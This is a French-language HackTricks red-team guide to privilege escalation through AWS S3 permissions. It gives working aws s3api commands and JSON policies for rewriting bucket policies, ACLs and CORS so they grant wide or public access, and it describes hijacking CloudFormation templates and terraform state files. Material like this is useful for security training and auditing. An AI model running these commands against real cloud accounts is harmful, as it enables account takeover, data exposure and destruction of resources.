AWS - S3 Privesc

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Un attaquant disposant de ces permissions sur des buckets intĂ©ressants pourrait ĂȘtre capable de hijack resources et escalate privileges.

Par exemple, un attaquant disposant de ces permissions sur un bucket cloudformation nommĂ© "cf-templates-nohnwfax6a6i-us-east-1" pourra hijack the deployment. L'accĂšs peut ĂȘtre donnĂ© avec la policy suivante:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

Et le dĂ©tournement est possible car il existe une petite fenĂȘtre temporelle entre le moment oĂč le template est uploadĂ© dans le bucket et le moment oĂč le template est dĂ©ployĂ©. Un attaquant peut simplement crĂ©er une lambda function dans son compte qui se dĂ©clenche lorsqu'une notification de bucket est envoyĂ©e, et dĂ©tourne le contenu de ce bucket.

Le module Pacu cfn__resouce_injection peut ĂȘtre utilisĂ© pour automatiser cette attaque.
Pour plus d'informations, consultez la recherche originale : https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Ce sont les permissions pour récupérer et uploader des objets dans S3. Plusieurs services au sein d'AWS (et en dehors) utilisent le stockage S3 pour conserver des fichiers de configuration.
Un attaquant avec un accĂšs en lecture peut y trouver des informations sensibles.
Un attaquant avec un accÚs en écriture peut modifier les données pour abuser d'un service et tenter d'escalader des privilÚges.
Voici quelques exemples :

  • Si une instance EC2 stocke les donnĂ©es utilisateur dans un S3 bucket, un attaquant pourrait les modifier pour exĂ©cuter du code arbitraire Ă  l'intĂ©rieur de l'instance EC2.

s3:PutObject, s3:GetObject (optional) over terraform state file

Il est trĂšs courant que les fichiers d'Ă©tat de terraform soient sauvegardĂ©s dans le blob storage des fournisseurs cloud, par exemple AWS S3. Le suffixe d'un fichier d'Ă©tat est .tfstate, et les noms de bucket indiquent souvent qu'ils contiennent des fichiers d'Ă©tat terraform. Habituellement, chaque compte AWS possĂšde un tel bucket pour stocker les fichiers d'Ă©tat qui montrent l'Ă©tat du compte. De plus, dans des comptes rĂ©els, presque toujours tous les dĂ©veloppeurs ont s3:* et parfois mĂȘme des utilisateurs mĂ©tiers ont s3:Put*.

Ainsi, si vous avez les permissions listĂ©es sur ces fichiers, il existe un vecteur d'attaque qui permet d'obtenir une RCE dans la pipeline avec les privilĂšges de terraform — la plupart du temps AdministratorAccess — ce qui fait de vous l'administrateur du compte cloud. Vous pouvez aussi utiliser ce vecteur pour effectuer une attaque de dĂ©ni de service en forçant terraform Ă  supprimer des ressources lĂ©gitimes.

Follow the description in the Abusing Terraform State Files section of the Terraform Security page for directly usable exploit code:

Abusing Terraform State Files

s3:PutBucketPolicy

Un attaquant, qui doit ĂȘtre du mĂȘme compte (sinon l'erreur The specified method is not allowed sera dĂ©clenchĂ©e), avec cette permission pourra s'accorder davantage de droits sur le(s) bucket(s), lui permettant de lire, Ă©crire, modifier, supprimer et exposer les buckets.

bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Un attacker pourrait abuser de ces autorisations pour grant him more access sur des buckets spécifiques.
Notez que l'attacker n'a pas besoin d'ĂȘtre du mĂȘme account. De plus, le write access

bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Un attacker pourrait abuser de ces permissions pour s'octroyer un accÚs accru à des objects spécifiques dans des buckets.

bash
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Un attaquant disposant de ces privilÚges devrait pouvoir appliquer un Acl à une version spécifique d'un objet.

bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

s3:PutBucketCORS

Un attaquant disposant de la permission s3:PutBucketCORS peut modifier la configuration CORS (Cross-Origin Resource Sharing) d'un bucket, qui contrĂŽle quels domaines web peuvent accĂ©der Ă  ses endpoints. S'ils dĂ©finissent une politique permissive, n'importe quel site web pourrait effectuer des requĂȘtes directes vers le bucket et lire les rĂ©ponses depuis un navigateur.

Cela signifie que, potentiellement, si un utilisateur authentifié d'une application web hébergée depuis le bucket visite le site de l'attaquant, ce dernier pourrait exploiter la politique CORS permissive et, selon l'application, accéder aux données de profil de l'utilisateur voire détourner son compte.

bash
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks